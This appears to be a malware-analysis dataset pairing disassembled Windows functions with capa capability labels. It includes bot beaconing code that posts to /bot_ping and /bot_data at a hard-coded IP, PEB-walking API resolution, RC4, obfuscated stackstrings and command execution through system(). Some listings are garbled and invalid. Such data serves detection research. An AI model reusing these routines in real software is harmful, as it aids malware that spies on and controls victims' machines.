joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b7a0
Capabilities:
Create process on windows
Terminate process

Disassembly:
add byte [rbx + rdx*2 - 0x70bbffaf], bh
push rbx
add byte [rax - 0x6f6f6f70], dl
nop
nop
nop
nop
nop
nop
nop
nop
nop
push rbx
add al, 0x89
je 0x14000b727
add al, 0x8b
push rbx
add al, 0x8b
or byte [r9 + 0x8824c], r9b
movabs al, byte [0x79531b000000401f]
jae 0x14000b830
insd dword [rdi], dx
invalid
jb 0x14000b895
add al, byte [rax]
add byte [rax + rdx + 0x20040], bl
or dl, byte [rbx + 0x74]
invalid
enter 0x8b9, 0
add byte [rax], al
rep movsd dword [rdi], dword [rsi]
pop rsi
movzx eax, word [rax]
add byte [rax], al
push rbp
mov ebp, esp
add esp, 0xfffffff8
push rbx
xor ecx, ecx
mov dword [rbp - 4], ecx
mov eax, dword [rax - 0x24]
mov ebx, dword [rax + 0x58]
test ebx, ebx
je 0x14000bc96
mov eax, ebx
or byte [r8 + 0x75017178], al
invalid
add spl, spl

Function at 0x14000bb90
Capabilities:
Authenticate hmac

Disassembly:
sub rsp, 0x168
xor eax, eax
test eax, eax
je 0x14000bdae
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push rsp
outsd dx, dword [rsi]
outsb dx, byte [rsi]
je 0x14000bc29
outsd dx, dword [rsi]
insb byte [rdi], dx
sub al, 0x53
jns 0x14000bc30
je 0x14000bc24
insd dword [rdi], dx
or byte [r11 + 0x452b0c41], r9b
call 0x15c54471c
push rdx
call 0x19d2bcf3c
add al, ch
cwde
or eax, 0x45890000
clc
xor edx, edx
push rbp
push 0x7086ce9
add byte [rsi + rbp*4], r9b
push rsp
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov cl, 0xf5
dec dword [rcx - 0x3fcc0fbb]
push rbp
push 0x597990
inc dword fs:[rsi + 0x45890003]
clc
mov eax, dword [rbp - 8]
push rax
mov eax, dword [rbp - 0xc]
push rax
push 0x408dc311
add byte [rsi + 0x57], dl
add esp, 0xfffffe00
mov esi, ecx
lea edi, [rcx + rcx*4 + 0x5ebe845]
xor eax, eax
mov dword [rbp - 0x18], eax
movzx ecx, byte [rbp - 6]
add eax, 0x4589c033
call 0x13a4e723d
movzx edx, byte [rax - 0x46]
add dword [rax], eax
add byte [rax], al
push rax
mov edx, 1
mov eax, edi
call fcn.14000b1e8
pop rcx
add dword [rbp - 0x75], 0x45
in al, dx
mov dword [rbp - 4], eax
mov eax, dword [rax]
mov eax, dword [rax + 0x28]
mov dword [rbp - 8], eax
mov edx, dword [rbp + 0x3a]
mov eax, dword [rsi + 0x18]
cmp eax, 0xffffffff
je 0x14000bc65
mov dword [rbx + 0x5c], eax
mov dword [rsi + 0x18], 0x568b00ff
or byte [rbx - 0x3808e786], cl
add dword [rax], eax
add byte [rax], al
jp 0x14000bc7f
test edi, 1
je 0x14000bc77
not dword [rbx + 0x56]
mov esi, edx
mov ebx, eax
mov edx, esi
mov eax, ebx
call 0x13ffc7400
invalid
mov esi, esp
test rsi, r14
jl 0x14000bcb2
xor r15d, edi
mov eax, dword [rbp - 0x10]
mov ebx, dword [rax + rdi*4]
test esp, eax
xchg dword [rax], eax
mov eax, 0xe4004087
add dword [rax], 0
test byte [rax], al
jmp qword [0x1406e47b2]
insb byte [rdi], dx
add al, byte [rax]
add al, byte [rax]
mov edx, fs
add byte [r15], r8b
push r12
add byte [r9 + r11*4 - 0x662fffbd], bpl
add r8b, dl
cdq
Function at 0x14000cb10
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings

Disassembly:
sub dword [rsi + rcx*2], ebx
add byte [rax + rax], ch
add byte [rax], al
sbb bl, al
add byte [rax*4 - 0x7a3dffc0], r9b
sal byte [rbp + rax - 0x7d], 0xe8
add al, 0x8b
add byte [rcx - 0x3d742fbb], cl
test edi, edi
inc dword [rax + rax*8 + 0x45c60675]
inc dword [rax]
jmp 0x14000cb82
jae 0x14000cbb3
push rsp
push rbx
jns 0x14000cbfc
push rbx
je 0x14000cc05
insb byte [rdi], dx
outsd dx, dword gs:[rsi]
insb byte [rdi], dx
add al, byte [rax]
add bl, ah
adc al, byte [rax]
add dword [rax], eax
add dword [rbx + 2], edx
add byte [rdx], al
mov dword [rdx], ecx
call 0x13fdfcdd4
movabs eax, dword [0x75003883006cec94]
sub eax, 0xc0840002
test al, al
jne 0x14000cbbb
xor eax, eax
jmp 0x14000cbbd
mov al, 1
pop rdi
pop rsi
pop rbx
push rbx
push rsi
mov esi, ecx
mov ecx, 0x3300
test edx, edx
je 0x14000cbd3
or ecx, 0xe8c78b00
and eax, 0xffff74a
mov dh, 0x45
sbb eax, 0x2d88b60f
cmpsb byte [rsi], byte [rdi]
je 0x14000cc20
push rsp
push rax
invalid
add dh, dl
push qword [rbx]
add eax, 0x6d614e41
add al, byte gs:[rax]
add al, byte [rax]
add byte [rax], al
xor al, ah
add byte [r8], r13b
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax + rax], al
add al, 0
add byte [rdx], al
add byte [rsi], cl
push rbx
insb byte [rdi], dx
invalid
Function at 0x140015c70
Capabilities:
Contain obfuscated stackstrings
Packed with generic packer

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
xor eax, eax
test eax, eax
je 0x140015e90
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
je 0x140015cfa
outsd dx, dword gs:[esi]
je 0x140015cb3
je 0x140015d10
push rsp
invalid
call [rdi]
jmp 0x140015cd3
je 0x140015d3c
insd dword [rdi], dx
add eax, dword [rax]
pushfq
adc byte [rax], al
or byte [rax], al
push rbx
push rbp
add esp, 0xffffffe0
mov dword [rsp], ecx
mov ebp, dword [rdx]
mov eax, 1
invalid
add byte [rdx], al
invalid
add byte [rax], al
add byte [rax], al
mov al, 4
add al, byte [rax]
adc al, 0x85
add byte [rbx - 0x7d], dl
invalid
xor eax, eax
test eax, eax
je 0x1400160a7
nop
nop
nop
nop
nop
nop
imul esi, dword [rbx + 0x61], 0x64656c62
invalid
Function at 0x140001000
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov eax, dword [rcx]
xorps xmm0, xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x40], eax
mov eax, dword [rcx + 8]
movups xmm0, xmmword [rdx]
mov dword [rbp - 0x38], eax
mov eax, dword [rcx + 0xc]
xor ecx, ecx
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x34], eax
mov eax, 0x811c9dc5
movups xmm0, xmmword [r8]
mov dword [rbp - 0x3c], 0xdeadbeef
movups xmmword [rbp - 0x20], xmm1
movdqu xmmword [rbp - 0x1c], xmm0
xor eax, dword [rbp + rcx*4 - 0x40]
inc rcx
imul eax, eax, 0x1000193
cmp rcx, 0xd
jb 0x140001047
add rsp, 0x40
pop rbp
ret

Function at 0x140001bc4
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
lea rax, str.192.168.68.120
mov rdi, rdx
mov rbx, r8
xor edx, edx
mov qword [rcx + 0xc], rdx
test r9d, r9d
mov dword [rcx + 0x14], edx
mov dword [rcx + 0x1c], edx
mov qword [rcx], rax
lea rax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:126.0__Gecko_20100101_Firefox_126.0
mov qword [rcx + 0x20], rax
lea rax, str.POST
mov qword [rcx + 0x28], rax
lea rax, str._bot_ping
mov dword [rcx + 8], 0x1394
lea rcx, str._bot_data
cmovne rax, rcx
mov dword [rsi + 0x18], ebx
mov qword [rsi + 0x30], rax
mov rcx, r8
lea rax, str.Content_Type:_application_octet_stream_r_nConnection:_Close_r_n
mov qword [rsi + 0x38], rax
call fcn.140002b84
mov r8, rbx
mov qword [rsi + 0x10], rax
mov rdx, rdi
mov rcx, rax
call fcn.140001f98
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400824a4
Capabilities:
Access peb ldr_data
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword gs:[0x60]
xor r11d, r11d
mov rsi, r8
mov ebp, edx
mov rdi, qword [rax + 0x10]
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
movzx eax, word [rbx + 0x14]
lea r9, [rbx + 0x18]
movzx r10d, word [rbx + 6]
add r9, rax
test r10, r10
je 0x140082563
mov dword [rsp + 0x78], 0x6544302e
mov byte [rsp + 0x7c], 0x76
movups xmm2, xmmword [r9]
lea rcx, [rsp + 0x78]
movups xmm0, xmmword [r9 + 0x10]
movsd xmm1, qword [r9 + 0x20]
movd edx, xmm2
movups xmmword [rsp + 0x20], xmm2
movsd qword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x30], xmm0
test dl, dl
je 0x14008254b
lea rax, [rsp + 0x78]
lea r8, [rsp + 0x20]
sub r8, rax
movzx eax, dl
nop
movzx edx, al
cmp al, byte [rcx]
jne 0x14008254b
movzx eax, byte [r8 + rcx + 1]
inc rcx
movzx edx, al
test al, al
jne 0x140082534
cmp dl, byte [rcx]
lea rdx, [rsp + 0x20]
cmovne rdx, r11
add r9, 0x28
mov r11, rdx
sub r10, 1
jne 0x1400824f6
mov eax, dword [r11 + 0xc]
mov rdx, rsi
mov ecx, dword [rbx + 8]
mov eax, dword [rax + rdi]
xor eax, dword [rbx + 0x68]
ror eax, cl
mov ecx, ebp
add rax, rdi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
jmp rax
Function at 0x140011294
Capabilities:
Terminate process

Disassembly:
jmp 0x1400142a0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011348
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400155f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015610
xor al, al
jmp 0x140015691
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015623
xor al, al
jmp 0x140015691
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001564d
xor al, al
jmp 0x140015691
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015661
xor al, al
jmp 0x140015691
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015673
xor al, al
jmp 0x140015691
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001568f
xor al, al
jmp 0x140015691
mov al, 1
add rsp, 0x38
ret
Function at 0x140013030
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400114a6
movzx eax, al
test eax, eax
jne 0x140013050
mov ecx, 7
call fcn.1400113fc
nop
mov byte [rsp + 0x20], 0
call fcn.14001141f
mov byte [rsp + 0x21], al
cmp dword [0x14001fb28], 1
jne 0x140013074
mov ecx, 7
call fcn.1400113fc
nop
jmp 0x1400130cc
cmp dword [0x14001fb28], 0
jne 0x1400130c7
mov dword [0x14001fb28], 1
lea rdx, [0x14001b660]
lea rcx, [0x14001b330]
call fcn.140011230
test eax, eax
je 0x1400130a8
mov eax, 0xff
jmp 0x1400131d1
lea rdx, [0x14001b220]
lea rcx, [section..rdata]
call fcn.140011410
mov dword [0x14001fb28], 2
jmp 0x1400130cc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400113e8
call fcn.14001136b
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140013129
mov rcx, qword [rsp + 0x30]
call fcn.1400111d6
movzx eax, al
test eax, eax
je 0x140013129
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140026020]
nop
call fcn.1400113a7
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001315d
mov rcx, qword [rsp + 0x38]
call fcn.1400111d6
movzx eax, al
test eax, eax
je 0x14001315d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011460
nop
call fcn.140013280
mov dword [rsp + 0x28], eax
call fcn.140011348
movzx eax, al
test eax, eax
jne 0x14001317c
mov ecx, dword [rsp + 0x28]
call fcn.140011069
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001318b
call fcn.14001146a
nop
xor edx, edx
mov cl, 1
call fcn.1400111bd
mov eax, dword [rsp + 0x28]
jmp 0x1400131d1
add rsp, 0x68
ret
Function at 0x140010188
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140019760], eax
call fcn.140010b30
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140019760], 0
jne case.default.0x1400101de
mov ecx, 1
call fcn.140010b30
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
sbb byte [rbp + 0x13], ch
outsb dx, byte [rsi]
invalid
Function at 0x180001290
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [0x180356040]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rbx, rcx
mov edx, 0x104
lea rcx, [rsp + 0x140]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_tmpnam_s]
test eax, eax
jne 0x180001364
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x30]
call fcn.180350f60
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x18000135a
mov rdx, qword [rbx]
mov r8, qword [rbx + 8]
sub r8, rdx
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x38]
call fcn.180351370
test rax, rax
jne 0x18000134b
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rsp + 0x140]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rsp + 0x30]
call fcn.180001380
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180351740
add rsp, 0x260
pop rbx
ret
Function at 0x180350690
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1803506b8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1803506de
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1803506e0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x180350739
test ecx, ecx
jle 0x180350719
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x180350739
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x180350739
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x180350760
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x180350782
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x180350798
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1803507b4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1803507b6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1803507f2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x18035088e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x18035082d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x18035086e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x18035088e
cmp rbx, rax
ja 0x180350840
test rbx, rbx
je 0x18035088e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x180350cf0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x180356040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x180350d1d
xor eax, eax
jmp 0x180350e89
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x180350d57
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x180350d57
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x180350e89
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x180350e7c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180350d9a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180350dc5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x180350e81
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180350e34
sub eax, 1
je 0x180350e34
cmp eax, 2
jne 0x180350e7c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x180350e81
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x180350e62
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x180350e7c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x180350e81
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180351740
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x180351280
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x180356040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x180351353
cmp byte [rcx + 0x71], 0
je 0x180351353
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x18035134f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180351314
sub eax, 1
je 0x180351318
cmp eax, 2
jne 0x18035134f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180351740
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x180351346
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x18035134f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1803512fc
xor al, al
jmp 0x1803512fc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180351740
add rsp, 0x60
pop rbx
ret
Function at 0x14001b780
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x141754100]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [0x1417540e0]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14001b7b8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14001b7c0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14001b8c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1417540c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14001b8e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14001b8e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14001b8e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14001b93d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x14001b934
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14001b8e0
add rax, 0x28
cmp rax, r9
jne 0x14001b920
xor eax, eax
ret

Function at 0x14001b940
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1417540c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14001b95f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14001b968
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14001b95f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14001ba00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1417540c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14001ba1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14001ba28
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret